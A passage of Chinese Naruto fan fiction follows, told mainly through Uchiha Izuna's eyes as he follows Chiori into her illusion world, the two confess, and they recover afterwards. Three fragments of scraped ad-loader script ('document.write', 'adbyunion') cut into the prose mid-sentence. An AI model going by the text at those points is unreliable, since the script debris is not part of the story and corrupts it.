斑哥继任族长后,又收到了千织那里传来的情报,本来想自己去走一趟的,但被泉奈拦了下来。 “我去吧,斑哥。”他说。 弟弟是为兄长处理好这些繁杂事务的助手,而且…… 千织也在那里。 按理来说,他应该提前通知千织一声,但出于某种难言的心思,泉奈先一步到了据点。 或许是因为以他们的关系,他实在不知道该以何种口吻来写信。 他远远地看见千织震撼的表情,眉眼微松,难得地、心中多了点恶作剧成功的愉快。 陪着他的据点负责人原本还十分紧张,似乎察觉到了他心情的转变,态度都自然了不少。 晚上去找千织的时候,他这才有时间仔细观察千织。 离开了几年的千织变化很大,却也好像一点也没变。 他以这几年逐渐养成的习惯,温和地笑着,对千织说话——小时候的他还是太幼稚了,他希望能够给千织留下一个新的印象。 然而千织却表现出了很强烈的抗拒,而他也有些无法在千织的面前维持那样的形象。 本来是要谈正事的,他们最后竟然因为一些无关紧要的小事吵了起来。 等到说完正事后,他想起白日在据点听见的称呼,没忍住调侃了一下她,却被千织连声喊了一串的昵称。 泉奈这个名字,有些偏女性化。 泉奈虽然不讨厌这个名字,却也不会太喜欢。 毕竟让不知道的人听见宇智波泉奈这个名字,听的人大概率会认为他是一名女性。 只是,当千织省略着发音连声叫着他的昵称时,他却觉得自己也不是不能接受这样的叫法。 izu的叫法很好听。 叫着他izu的千织,也很可爱。 ……不能再这么想下去了! 泉奈陡然回神,心脏却止不住地怦怦跳,耳朵也在发烫。 肯定是夜里太凉,他有些着凉了,连思绪都有些受到影响,断断续续的。 他飞快地留下一句话便离开了,免得被千织看出来看了笑话。 4.恐惧 族中的事务泉奈慢慢地上手,族人们也越发地认可他们兄弟二人。 泉奈时常会想,自己是否是个合格的弟弟了呢? 斑哥找他谈过这件事,说他绷得太紧了。 他只说没关系。 斑哥也没法再劝。 留下断后的时候,面对着劝降的千手柱间,泉奈再度想起了过去。 想起为救自己而死的三哥。 也想起身为族长的斑哥。 宇智波泉奈身为弟弟的使命就是成为兄长的助力。 即使没办法成为助力,也不该成为拖累。 他讥讽地看着想要俘虏他来牵制斑哥的千手族长,已经做好了鱼死网破的准备——如果不是因为千织来了。 他实在不明白千织为什么会出现在这里。 明明这里的事完全与千织无关,千织本来就不需要上战场,她的职责是驻守据点,完全犯不着来这里冒险。 他死在这里无所谓,族人们都撤走了,斑哥也不会被千手柱间威胁,但千织怎么办? 千织受了这么严重的伤,泉奈抱着她的时候,大脑几乎空白,脑中只剩下了跑。 要逃走、要找到医生给千织疗伤……千织身上的血浸湿了她的衣服,血液黏腻的触感沾满了他的手。 宇智波泉奈的眼睛再度灼烧起来,仇恨如同火焰一般升腾而起。 他又想起了死去的三哥。 三哥为救他而死。 现在连千织也要为救他而死了吗? 他似乎从来没有改变,还是当年那个弱小的忍者。 ……他无法接受。 千织不可以死。 所以在千织提议把她扔下的时候,泉奈想都没想就拒绝了。 但是千织伤得太重了,他只能一遍又一遍地祈求千织不要死。 他已经失去了哥哥,不能再承受喜欢的女孩子为了救他而死的结局了。 就在泉奈快绝望的时候,千织的伤诡异地好了起来。 “只是一种幻术。”千织解释。 幻术。 当年二长老的话言犹在耳。 千织和幻术的牵绊越深,泉奈就越发恐惧千织会走向二长老所说的结局。 在千织睡着后,泉奈一直盯着千织的睡颜。 “我会看着你的,千织,”他将怀中的少女拥紧,趁着对方听不见,轻轻地说道,“绝对不会让你因为幻术而死。” 5.是谁 千织在养伤的时候,泉奈听见火核问她为什么会去救他。 当时的泉奈就站在病房门外,两兄妹在里面并没注意周围的人,再来医疗所的人员本来就复杂,随意探查也是一种极为冒犯的行为。 他紧张地听着千织的回答。 泉奈的期望不高,他知道千织向来的性子,因此哪怕千织只是说一句“因为我不想他死”,他都会很高兴。 但在门外的他听见了最不想听见的一个答案。 ——因为他是哥哥的弟弟。 那一瞬间,下意识想要遗忘的那些记忆涌上心头。 哥哥的死亡、悲伤的千织……还有那场,他至今无法理解与接受的幻术。 千织是哥哥喜欢的千织。 哥哥是千织愿意赌上未来给予幻术的哥哥。 那么,同样喜欢着千织的他,因为哥哥才被千织所救的他又算什么呢? 而在他们结婚的那天,千织抱着他,对他说不要死的时候,又在想着谁呢? 泉奈不知道,也分不清楚,更不敢问千织。 6.木雕 泉奈是在千织提起京中的木雕一事后才开始练习木雕的。 南贺川附近到处都是森林,原料易得,作为忍者他用刀的工夫也不差。 只是战场上用刀和对着一块木头用刀,还是有些差别的。 练了段时日,泉奈算是初窥门径,选了些寻常的木雕主题雕刻好,装在盒子里打算寄出去。 但他转头见看见了柜子上千织当年送的那尊木雕。 刚开始的理由很简单。既然都练了,那就再多雕一尊人像好了。 第一尊人像雕好,以当初那尊雕像的回礼的名义和其他木雕一起寄给了千织,泉奈看着只剩下自己的那尊孤零零的木雕,内心天人交战。 偷偷雕一尊千织的像放在自己的边上……实在太失礼了。 但对泉奈而言,却也是个万分诱惑的选项。 最后他还是没能抗拒诱惑,雕刻了起来。 将成品放在自己那尊木雕旁边的时候,宇智波泉奈转瞬便心虚起来,将两个木雕都收到了一起。 生怕摆在外面,被人看见,就会起流言。 只是有一就有二。 泉奈脑中的千织太清晰,什么样的她都有,一尊根本不够。 打破了底线的他一次次地告诉自己这就是最后一次,也一次次地心虚地将雕好的人像藏进自己的柜子。 ——只要不被别人看见,就没事了。 泉奈如是想到。 他只是……太想念千织了。 7.逃跑 和千织的婚姻陷入僵局时,泉奈尝试过想要和千织缓和关系。 他们在战场上聊过彼此的想法,那时候泉奈觉得,或许他们可以和好。 那一年的时间实在不算赶巧,千织的生日在回程的路上过的。 那时候他们这些人都各自有各自要忙的事,其实也算不上过生。 那天他只来得及对千织道了声生日快乐。 回到族地后,泉奈想要弥补。 往年的时候,他们年年都互相赠送了生日礼物的。 正巧,南贺川附近的流萤还没有散,因此回到族地的那天晚上他确认了这一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点后,就想着挑选礼物。 选衣服作为礼物,其实夹杂了泉奈的私心。 他知道千织一开始并不想结婚。 虽然那时候他们的婚姻也差不多名存实亡了。 但是他仍想重新补上一个仪式——即使被拒绝。 可临到头他却问出了个蠢问题,千织也追着那个问题不放。 他最后落荒而逃。 或许是上天为了惩罚他的退缩,在最后,面对宇智波将来不可避免的困境,他亲口对千织提出了离婚。 他今后会失去眼睛,变成一个连普通忍者都不如的家伙。 难道要让千织这么忍受一辈子吗? 他也无法忍受千织看着这样的自己。 8.选择 知晓千织失踪的事后,泉奈其实隐隐有了预感。 那些异常,可能是千织的万花筒导致的。 一双万花筒会有两个独属于两只眼睛的能力,而千织只说过常世,另一个能力是什么从未说过。 调查的队伍来到被雾气笼罩的森林,住在周边的村民说这股雾气很久没有散开了。 算算时间,正是千织遇袭那天。 因为前几次进入森林的人几乎在瞬间失联,所以这一次,先是有猪鹿蝶之称的三家探路。 奈良家的忍者以影子忍术从外围控制身上系了绳子的秋道家的忍者进入,另一边山中家的忍者附身在秋道家的忍者身上,一旦出现异变,便接触忍术脱身,奈良家的忍者也能及时操控对方脱离森林。 然而计划在一开始就出现了意外。 在秋道家的忍者踏入森林的瞬间,影子便失去了联系,连接外界的绳子也被雾气侵蚀断裂。就在众人还在想要补救想办法将秋道忍者救出来时,那名原本附身在秋道忍者身上的山中忍者却不知何时摇摇晃晃地站了起来,打伤了临近之人,冲入了雾气笼罩的范围。 同为两人同伴的奈良忍者见同伴们都进去了,其他人又指望不上,咬了咬牙也冲了进去。 用他的话来说,他们离得近,说不定能在里面回合,他也能帮上忙。 猪鹿蝶小队,尽数失联。 泉奈安静地看完眼前的闹剧,各家忍者组成的调查队伍七嘴八舌地讨论,有说即刻撤离的,也有说必须继续调查的。 有些乌烟瘴气。 他看向自己的兄长:“斑哥,我要进去,我的眼睛里残留着千织的瞳力,现在它们在告诉我,千织在里面,她还活着。” 哥哥的表情在自从他跟来后,就一直十分难看。 “泉奈,再等一等,这里的雾气原理快要解析出来了……” “等不了了。”泉奈平静地打断兄长的话语。 宇智波斑愣了一下,看着面容平静的弟弟。 “哥哥,我一直在很努力地想要成为你的助力。”泉奈说道。 从小的时候、从万花筒需要另一双万花筒升级的时候、从族中对他的失踪出现非议的时候。 他也一次次地选择了兄长和族人。 宇智波族长家的幼子、宇智波族长的弟弟,注定背负辅佐兄长、保护族人,传扬宇智波一族威名的责任。 但现在,宇智波已经与过去的心腹大患千手结盟了,兄长的万花筒没有了后顾之忧,千年前的敌人也已经死亡。 兄长和千手族长的联手之下,忍界更是无人敢进犯。 宇智波泉奈也将从“族长弟弟”的责任中解脱出来。 “斑哥,你知道的,我的万花筒是因为千织开启的,”泉奈看向被雾气遮掩的森林深处,“就这一次,我想和千织在一起。” 这处异常或许是千织的幻术。 也或许真的是不知从何导致的异常。 但对他而言都没有差别。 宇智波真生说,他被送走的时候,好几个族人围攻千织。 而千织,只有一个人。 千织从小就很孤独,刻意地回避着与他人交往,却又忍不住受到他人的吸引。 所以千织会一边装作不记得哥哥的名字,却也会在最后忍不住为哥哥编织幻术。 所以千织也无法抗拒他的接近。 而现在千织一个人在里面,她的周围,都是敌人。 他明明承诺过,会陪着千织,他不想食言。 “哥哥,宇智波、族人们就拜托你了,请原谅我的任性。” 宇智波泉奈再不回头,朝着森林走去。 兄长不会阻拦他。 虽然过去斑哥对他说过令人胆寒的威胁话语,但哥哥一直都是温柔的、尊重他意愿的。 苍白的雾气带着湿意,笼罩了上来。 9.常世 泉奈眼中的瞳力正在飞速流转,他的眼睛微微发烫,因此在他眼中,眼前的世界展现出了诡异的一面。 他能同时看见两个世界,这是一个很诡异的视角。 幻术的世界阳光高照,街道上行人们的脸上洋溢着笑容。 现实世界的森林飘荡着森冷的雾气,犹如被暴风过境,地上横七竖八地倒着些身上有着战斗痕迹和羽衣族徽的尸体。 两个世界互相重叠,诡异异常。 其他进来的人呢? 这么想着的同时,泉奈的眼睛微微刺痛了一下,现实世界的一起开始散去,幻术世界在泉奈的眼中越发真实。 ……这就是千织心中的幻术世界。 在他这么想着的时候,一个有些熟悉的声音从不远处传来。 “泉奈,”那是一个身高腿长的青年,他正站在一栋小楼前,面容有种诡异的熟悉感,对方正对他微微笑着,向他伸出一只手,“不跟上吗,该回家了。” 轰的一声,犹如惊雷在耳边炸响。 泉奈震惊地望着对方:“……哥哥?” 那是家中最先离去的大哥,而如今,对方在这个幻术世界,以成年后的姿态出现。 他下意识地朝大哥的方向迈了几步,察觉到身体不太协调的泉奈低头,看见自己缩了一号的手掌。 他回到了少年时期。 哥哥矜持地嗯了一声,点点头,拉住了泉奈的手,领着他往前走,眼前的景色也越发熟悉。 “你才回来,有什么不熟悉的就和我说,不用有什么顾虑。”大哥边走边向他交代。 “……三哥在家吗?”泉奈有些紧张地问道。 大哥笑了笑:“辉今天去上课了,现在大概在和千织比试吧。” 于是泉奈又问了关于自己和这里的事,得知自己以前一直不在镇上而是住在外面后:…… “只有我一个人不在这里长大吗?斑哥呢?”泉奈又问。 没有进入幻术的人都在“外面”吗? 大哥思索了一下,回答道:“斑?他现在大概在哪里练习忍术吧,要晚点回来。” 52.番外.泉奈4 1.真假 宇智波泉奈终于见到了幻术中的千织。 如果说进入幻术前的他对这里是千织所控制的幻术的猜测只有一半把握,那么进入这里之后,猜测便成为了事实。 寻常的幻术可以以刺激自身感官来脱离,但和写轮眼沾边的幻术就不是那么简单的了。 最简单的方法是施术者主动解除幻术。 因为有了千织可能会自愿选择幻术的心理准备,所以即使千织拒绝他,他也毫不意外。 ……泉奈没想到是另一种情况。 同样也是少年时期的千织坐在家中的桌前,好奇地睁大了眼睛看他。 眼前的千织,彻底融入了幻术世界,不记得真实世界的事。 看着千织身边坐着的火核,他也知道先一步失踪的火核在哪里了。不出意外的话,其他失踪的人也在幻术世界中生活。 跟着“大哥”回家时,他也听大哥说起最近来了许多外乡人。 幻术世界中有哥哥的存在,却没有他的存在。 因为这个发现,泉奈本以为幻术中的千织会喜欢哥哥,却没想到在他和哥哥坐在一起时,千织全在看他了。 一丝古怪的感觉渐渐浮上心头。 没错的,眼前的千织虽然不记得了,但这个千织是真实的,不是他心中期待的幻术。 但是为什么? 难道他所认为的能分辨幻术与现实,也是这个幻术带给他的错觉,他也已经沦陷于此? 无时无刻不在发烫提醒自己身陷幻术的眼睛、体内丝丝缕缕流溢而出的被吸收的查克拉、自诩的清醒……或许都是假的。 要尽快找到破解幻术的方法。 泉奈对着隔桌相望的“千织”笑了一下。 那个千织微红着脸,错开了目光。 是现实中的千织从未流露过的情态。 这真的是千织吗? 假的吧,一定是假的吧。不……为什么,不能是真的呢? 明明他的眼睛、他的经验、他的逻辑与思维都在告诉他,眼前的是真的。 但有哥哥的世界,千织真的会被他所吸引吗? 泉奈不由想起当初信誓旦旦对着二长老说幻术才没有那么可怕的自己。 ——不,可怕极了。 可怕的不是虚假的幻术,而是身处幻术时自己都无法分辨什么是真什么是假,并且自愿去相信假的内容是真的。 他垂下眼不再看千织,告诉自己,既然这是千织所编织的幻术世界,那么,接近作为核心的施术者,是很正常的。 是的,他是为了破解幻术将千织带出来,才会接近千织的。 只是为了破解幻术。 泉奈想。 2.动摇 这是一个很热闹的幻术世界。 去掉那些被卷入幻术的人,这个幻术中仍有一大批被幻术塑造出来的人。 他们正常生活,有着自己的设定和思维逻辑,几乎和真实的人看不出区别。 就像泉奈家的那几个“哥哥”和他的“父母”。 和“家人”们相处越多,他们就越发和记忆中的人相似。 大哥较之其他几个哥哥更包容,“斑哥”会比较严肃,年龄和他相近的四哥性情更活泼一些,爱和他开玩笑。 三哥……三哥在刚见面时,就和现实的他极像。 泉奈想,本该如此。 因为千织原本就很熟悉三哥。 他仗着在幻术世界中,问辉:“哥哥,千织和你是什么关系?” 三哥听到他的问题,有些感兴趣地看着他:“泉奈,你问这个做什么?” 在现实世界没有机会长大的三哥如记忆里的他一样,温和地勾唇笑道:“我们只是同学,你很在意她?” 过去的哥哥,也是这么云淡风轻地说着他和千织关系普通。 却瞒着他喜欢千织,偷偷送了千织许多东西。 泉奈敛下目光:“没什么,只是看起来你们关系很好,我还以为哥哥你喜欢千织。” 哥哥否定了他的猜想。 但泉奈并不相信哥哥。 这时,他的哥哥又说道:“不过,今天火核和我说起一件事,你去找千织了?” “……”泉奈定定地看着“三哥”,好一会儿才道,“既然哥哥你和千织没有在交往,那我追求千织,也和哥哥没关系吧?” 他说出来了。 泉奈的心直跳。 过去没有说出来,往后也再没有机会所说的话。 这一次,他终于当着哥哥的面说出来了。 辉惊异地瞪大眼睛,似乎在消化他言语中的内容,然后道:“你对我的敌意太重了,泉奈。” 泉奈抿了抿唇。 那不是敌意,只是防备。因为过去的“哥哥”太狡猾了,狡猾得一点机会都没有留给他。 他开始和千织接触,宇智波火核或许还受了些现实世界的影响,不太乐意千织和他走得近。 但他的态度并影响不了什么。 只要千织不会反感,一切都没有问题。 泉奈逐渐发现,虽然失去记忆的千织和现实的千织在很多地方都不一样,但又会在一些极微小的地方表现出相似的特性。 虽然总是会主动寻求更为艰深的力量、研究忍术幻术的千织表现出对学业的不耐烦,但真当她沉下心开始看那些东西的时候,反而会较真起来,和他争辩谁对谁错,不服输的样子简直和训练场上的她一模一样。 在千织家吃点心的时候,千织会下意识选择软糯的,然后把自己不太喜欢的放到离他近些的地方,又会在吃了几个后感都心虚,轻咳着让他试试她喜欢吃的点心。 越是相处,过往千织的模样在他心中就越是清晰。 ……他很久没有看见千织了。 只能在无人的时候,一遍又一遍地,摩挲着以前的雕像,凭借触感去反复记忆她的样子。 也因此,泉奈能看出来,现在的千织,过得很开心。 “之前我和火核约着要去接田岛大人下发的扩建镇子的任务,不过后来太忙了,就没去,结果那些外乡人的要住的地方现在才建好……也不知道为什么,我们镇上的人好像都比较擅长火遁。”千织跟他聊着最近镇子里的八卦。 泉奈也知道这件事,他在家里听说过了,还知道得更多,明天镇子里会有庆祝那些外乡人定居的庆典。 于是他提出了明天出去逛街的邀请。 千织一脸猜到的表情,并没有相信他的理由,泉奈也不介意。 毕竟,无论是他说的理由还是千织以为的,都是假的。 他只是……觉得不能再日复一日地枯耗时间。 再这样下去,泉奈害怕自己也会动摇。 就像曾经的哥哥,和现在的千织。 只是在千织大大方方拉着他进入人群跳舞的时候,他看见快乐的光落到千织的瞳孔中,泉奈惊觉自己从未见到过如此快乐的千织。 不需要见证族人不断死亡的千织。 不需要走上战场做着自己不喜欢事情的千织。 不需要苦恼实力不够强大随时会有性命之危的千织。 可以按自己心意和不同的人结交的千织。 为什么幻术中的千织还没有完全长大呢? 因为这是有种幸福过去的千织。 这是千织为她自己编织的幻术世界。 而他想要将千织从这个世界拉出来,让她再一次去接受那些千织无法接受的东西。 宇智波泉奈早已不是那个苦恼于没有开眼的孩子,他再明白不过开眼意味着什么了。 曾经因为杀死了敌人而开眼、狼狈地呕吐到眼角溢出生理性泪水的千织为了缥缈的和平可能主动走上了战场。 而他要让千织再一次去面对那些东西。 小时候母亲说,他还没到理解辉为什么会选择死在幻术的年龄,他也不理解千织为什么宁愿欺骗他也不告诉他真实的原因。 再后来他对二长老的幻术危险论嗤之以鼻。 强大的忍者怎么会被幻术所迷呢? 但现在宇智波泉奈犹豫了。 幻术中的千织,远比现实中的她开心。 这个世界热闹、友善、和平,现实世界勾心斗角、战火纷飞。 将千织带出去,真的正确吗? 即使会死于幻术……也远比在现实中幸福吧? 他终于明白,为什么哥哥会选择幻术,也终于明白,千织为什么要欺骗他。 因为,当结局都是死亡时,人总会趋利避害,去选择过得更好的那一边。 坚不可摧的忍者也会在这样的幻术中变得软弱畏死,成为一个充满破绽的普通人。 既然都是死,为什么要为了雇主死在战场上呢? 一旦有了这样的想法,一旦被动摇了决心,他会死在战场上。 正如他现在的动摇。 或许,接近施术者,本就是这个幻术世界的陷阱。 此刻的泉奈,已经无法自顾自地决定,将千织带出幻术世界。 他曾经对千织许诺,绝对不会让千织死在幻术中。 可要是,幻术中的千织,远比现实的她快乐呢? 因此,当千织问他,他是否喜欢这个幻术世界时,他犹豫了。 从头到尾都清楚这个世界真相的泉奈自然更爱着现实世界。 此刻是打破这个幻术世界的绝妙话题。 他可以顺势与千织讨论起这个世界的疑点,让千织开始怀疑这一切。 甚至可以尝试攻击施术者来强行解开幻术。 但是,值得吗? 千织曾指责他将她与斑哥都当作可以随意操控的傀儡。 这是千织的世界。 这是千织的选择。 泉奈想。 那么,就这样吧。 既然这是千织的选择。 只是,这个世界被卷入的其他人也没有必要留在这里。 只留下他们两人就好。 因此他撒了谎,说他们是自小长大的恋人。 实际上,只是他单方面喜欢千织。 这个幻术世界很热闹,没有那些人依旧会很热闹。 真实的人,只留下他自己就好,他是自愿留下来陪着千织的。 人太多,会有太多打扰他们的麻烦。 他们两个人,就刚刚好。 要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是千织厌倦了虚幻的幻术人,也会还有他陪着,千织不会很寂寞。 而他们即使是死,也会死在一起。 只有他能够和千织死在一起。 这就足够了。 3.真实 泉奈抱着千织,感知到四周随时有可能落下的攻击,神情依旧没有丝毫变化。 他记得千织是被信任着族人偷袭的,因此也能够理解千织的警惕。 泉奈不再去思考幻术与现实的差别。 过去他总是在族人与千织之间选择前者,如今他不再考虑这些了。 他只用考虑千织,他将选择权交给她。 虽说是这样,但他也明白千织最有可能的选择。 因为这一个千织,只有幻术世界的记忆,她的选择自然也能够猜到。 随着千织将其他人放出幻术世界,泉奈感觉到自身查克拉被抽取的速度越来越快。 千织宁静的目光注视着他,她问起现在与过去的她的差别。 幻术中的千织喜欢他。 泉奈轻轻眨动了一下眼睛,明白了千织更为在意的问题。 两个千织都是她,她们其实是一样的。 现在的千织,只是不想记得以前的事罢了,但那还是她。 即使现在这个千织喜欢他,他也明白,这只是幻术中令人巧合的惊喜。 “……” 查克拉流失的速度越发快了。 泉奈不知道他们还剩多少时间。 他有些遗憾,过去的他一直没有向千织吐露过自己的感情。 就算被拒绝,他也想让千织知道这一切。 耳边,千织的声音越发模糊。 “外面的……”千织要说什么,他已经听不见了。 黑暗,降临了。 不知道过了多久,泉奈逐渐找回了自己意识。 他听见熟悉的声音。 斑哥的,还有千手兄弟的。 ……怎么回事? 泉奈没想到自己还会醒来。 他缓缓睁开眼,眼前发昏,身体感到十分沉重。 “……幻术吗?” 或许这是最后的幻术了。 他眼中原本属于千织的那一点瞳力也在之前被抽取殆尽,他也无从辨别眼前的一切是真实还是虚假。 斑哥见他醒了,大步走到他身边坐下看他。 “是现实,”斑哥说,“你终于醒了,泉奈。” 泉奈对斑哥的话持保留态度。 他不想怀疑斑哥,可之前在千织的幻术中经历的一切令他不敢放松。 泉奈打量着四周。 大概是他身体过于虚弱,以至于没有管理好表情,让其他人看出了他并没有相信斑哥的话。 “……这家伙到底在幻术里经历了什么,居然变得这么疑神疑鬼。” “扉间,你少说几句。” “千织呢?”泉奈没有找到想要看到的人,回头问斑哥。 斑哥脸色不太好,没有说话。倒是千手扉间补了一句:“就在隔壁。这个时候你居然还有心思想别人?宇智波千织可比你醒得要……” 千手扉间话还没说完,就见宇智波泉奈对他哥说了句他先去看宇智波千织就跑了。 他大哥还在一旁感叹:“斑,你弟弟妹妹感情真好。” “柱间,找不到话说可以不用勉强自己说话。” …… 宇智波泉奈推开隔壁的门时,千织正准备喝药。 “……泉奈?”千织的神情有些尴尬,她放下药碗,双手放在被子上,显得有几分局促,讷讷道,“你醒来了呀。” “嗯,”他的查克拉还未恢复,泉奈也不知道自己是怎么走到千织身前的,短短的几步路,几乎要耗尽他所有的力气,最后他坐在千织身边看着她,问道,“这是幻术吗?” 这是一切终结前给予他的短暂幻术吗? 还是近乎那个不可能的可能,千织自愿放弃了幻术的真实世界? 宇智波泉奈不想再去区分这些,只要是千织告诉他的答案,他就会相信。 眼前的千织在听见他的问题后,陡然红了眼睛,嘴唇微微颤抖,一句话也说不出。 ——没有关系了。 泉奈想。 不管是现实还是幻术,都没有关系。 这是拥有记忆的千织。 他伸手牵起千织的手,她的手在他碰到瞬间微微缩了一下手指,但又在他反应过来前快速地握住了他的手。 “千织,”泉奈看着他们相互交握的手,轻声开口,“我喜欢你。” “从很久以前,我就喜欢你。无论这一刻是真实还是虚幻,这一点永远不会改变。” 泉奈感到身体被猛地抱住。 千织的手臂微微颤抖,头埋在他的脖颈边上,声音沾染了一丝哭腔。 “你刚醒来就跑到这边是为了说这些吗?我还以为、我还以为……”宇智波千织最终还是没有说出她以为的内容,硬生生地将话题拐了个弯,“我也喜欢你,泉奈,我没有喜欢过辉,我只喜欢过你。” 此刻究竟是幻术还是现实,已经没有了意义。 宇智波泉奈感受到了幸福。 53.眼睛 脱离常世后,被幻术遮掩的记忆便尽数回笼。 过度使用万花筒的副作用和虚弱感随即侵蚀而来,我只来得及抓住泉奈的手,便失去了意识。 大概是因为泉奈之前又是挖眼睛又是换眼睛,本来身体就被折腾得不行,还被常世抽走了大半查克拉,我醒来的时候,泉奈还昏迷着。 中途我去看过他一回,他就和濒临幻术崩溃时那样安静地躺着。 我想要碰碰他,却又在最后一刻止住了手。 就这么安静地看着他,就已经令我心安了。 火核在一旁没好气地说:“他还没这么脆弱,不会你一碰就没。” 我回过头看他。 火核同样也被卷入了常世。他、同样来救援的几个族人和几个千手,是醒得最早的一批,大概是因为查克拉的量比较足,其他人就要醒得晚些。 饶是如此,我醒来前,误入常世的那些普通人也已经醒了过来。 他们都没有幻术中的记忆,只知道自己莫名其妙地昏迷了一段时间,除此之外还有些幻术里待久了的后遗症。 我刚醒来那会儿,火核来看望我,说从幻术里出来的人,不同程度地表现出了会无缘无故地傻笑、并且总是情绪高涨的情况。 我当时问他:“你也一样吗?” 火核冷着脸,看我的眼神极为不善,大概。 “不,我的症状不太一样,看见你我就一肚子气。”他说。 想起幻术里的事,我有点心虚,然后理直气壮地歪曲他的思路:“哥,你不能这么迁怒我,你只是因为我受伤才生气的。” 火核将信将疑:“真的?” 我连忙点头。 “真的不是你在幻术里做了什么?” 我信誓旦旦:“绝无可能!” 火核若有所思地看着还昏迷着的泉奈,若有所思:“奇怪,看见泉奈大人,我也……” 我见状立刻咳嗽了起来,火核收回目光,上前扶住我,眉心紧皱:“怎么回事?” 我抓住火核的手臂,摇头:“突然不太舒服,我想回去休息。” 火核带着我回隔壁病房,还一边说我不该在没好完的时候就到处乱跑。 我连连点头应是,他见状又守了我一会儿,直到爸爸妈妈来的时候,才换班一样地离开。 爸爸出门去送火核,我听见门外爸爸劝火核多休息一会儿,才知道现在结盟初期,火核醒来没多久就开始上班了。 我:“……” 妈妈问我怎么在发呆,我连忙回神,闻到苹果的味道,意识到妈妈在削苹果,连说我不用削皮可以直接啃着吃。 她让我别闹,病患没有选择的权利。 更晚的时候,族长和千手兄弟来了。 我的视野中,黑长炸像素人和白短炸像素人之间隔了个黑长直像素人,他们轮流问了我几个问题,然后白短炸像素人上前开始检查我的眼睛。 距离近了些,千手扉间的脸清晰了点,他一边检查一边又问了我几个问题,语气不是很好。这也难怪,毕竟大家一年前还在战场上互相砍,现在就得为了联盟给以前的敌人看病,确实让人崩溃。 千手柱间在一边为了调节气氛,和我搭话聊天。 “千织,不知道你还记不记得,我们以前见过的。” 我:“嗯,我记得,您的木遁很厉害,我差点死了。” “……” 我的眼睛还在千手扉间的手底下呢,怎么可能让千手族长在这种情况下提起他和族长小时候做朋友的事。 万一千手扉间新仇旧恨齐上心头,一个控制不住把我眼睛挖了呢? 当然,我不否认,我确实有点记仇。 他们都不说话了,我就问起结盟的事。 毕竟在常世那件事之前,两族就已经结盟了。我没赶上结盟仪式不说,看后面常世里的其他外族人,我觉得我错过的还挺多。 “一切正常,你不用担心。”族长淡淡开口。 我刚哦了一声,就听见千手扉间哼了一声。 “?” 族长这是瞒了什么事吗? “千手扉间。”族长隐含警告地喊了声千手扉间的名字。 柱间这时突然很大声地啊了一声,兴致勃勃地问我:“说起来,千织你的木遁也是你的写轮眼能力吧?” “……”这样转移话题真的很刻意啊千手族长! 不过我还是给面子地接上了话题:“您打探我的写轮眼做什么?” “……宇智波千织,我大哥对你们的眼睛没兴趣。”千手扉间冷不丁地开口,替他哥说话。 我没料到千手扉间会突然开口进行这么无聊的对话,沉默了一下:“不想知道就算了。”反正我也没打算说。 千手族长这次似乎真的震惊了:“什么?!” “柱间,她骗你的。”族长的语气无奈起来。 等千手扉间检查完我的眼睛,他退开几步,看他身上的色块分布他的姿势大概是双手抱胸。 “问题不大,没有宇智波泉奈严重。” 破案了,泉奈的眼睛估计也是千手扉间治的。 不知道千手扉间和泉奈谁的心情更坏点。 在我这么想着的时候,千手扉间语气冷淡地又说道:“但治起来比较麻烦,需要配合我的几个实验。” 几个、实验。 我觉得我还是别治了,不就是眼前模糊什么都像素风吗,常世里我已经习惯过低配版的情况了! 再说了,谁没玩过开罗小游戏一样,根本不会影响我的正常生活! 千手族长大概也觉得这话听起来不太对劲:“啊这……扉间,这个实验,是指……” 千手扉间转头看向他哥:“大哥,我知道轻重。千手和宇智波现在已经结盟了,更何况之前斑……” 说到这里的时候,千手扉间十分微妙地顿住,然后道:“总之,我不会乱来。” 千手族长一时半会儿没说话,族长倒是开口了:“什么实验?” “写轮眼细胞对千手细胞的……”千手扉间不耐烦地说了一般,像是突然意识到问他的是族长,声音戛然而止,而后他语气更为不耐,“要是不放心,那就像之前族中长老说的那样,大哥你……” “不用,扉间!大哥信你!你是什么为人大哥知道的,你都毫无芥蒂地治好了泉奈,斑也会明白的!斑这里我来说!” 我:…… 有生之年,我竟然能听见千手族长会发出这么惊恐的声音。 千手扉间刚才到底打算说什么啊? 总之,我眼睛的治疗方案先放到一边,本来这也不是个很快的过程,也不必急于一时。 我就在医疗所住了下来,慢慢养病。 又过了几天,又旅带着我的忍猫找过来看我,我才知道了我在常世里的时候外面发生的离谱事。 起因是常世的波及范围在逐步扩大,当地领主因为这个将任务委派给了两族联盟,同时也被大名知道了。 但调查陷入僵局,泉奈也跟着进了常世,还在外面的族长也不允许其他忍族使用暴力方法强行通关。 大名不知道从哪里听说了宇智波手里有尾兽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,便传令使者让宇智波放出尾兽,直接让尾兽摧毁森林。 “……”真要摧毁森林,也不需要把尾兽放出来。 族长或者千手族长开高达的就能完成这件事。 他们为什么不这么干,是不能吗? 当时常世里可不止有我和泉奈,他们千手也有人被卷进去了,更何况还有更无辜的平民。 “然后呢?”我一边撸猫,一边问又旅。 “先是千手的族长不同意,但是大名的使者强令要求,还用什么建村的事威胁,最后你们族长把他扔出去了,那家伙差点被吓得半死,”又旅说道,“真是活该,把我当成什么呢。” 我轻轻眨了下眼睛。 难怪没告诉我结盟的情况,把大名得罪了,之后的诸多事宜肯定不顺利。 好麻烦,能不能直接把大名给控制了,反正已经控制过一个了。 “宇智波千织,你又在想什么?”又旅问我。 我笑着回她:“没什么,我只是有些忧心之后的事。” “你就别操心这些事了,眼睛都变成这样了,不好好养病会瞎掉,你们宇智波就是这样的。” 我怔了一下:“你能看出来?” 我以为我的表现足够正常,连火核他们都没看出来我的视力出了问题。 ……真的是这样吗? 我有些不确定起来。 “你的瞳力和以前不一样了,”又旅语气轻松,“以前我会感觉到威胁,现在不会。” “……” “奇怪,你怎么不说话了?”她问我。 我把已经恢复了不少的忍猫放在旁边:“你说话有时候真不讨人喜欢。” 又旅哈哈大笑:“猫说话不需要讨人喜欢!” 一旁的忍猫跟着喵了一声。 ……这猫学坏了,不能要了! 愉快的又旅答应不把我视力出问题的事告诉别人,带着忍猫扬长而去后,就又到了我该喝药的时间。 因为想着结盟的事,我喝药都有些心不在焉的。 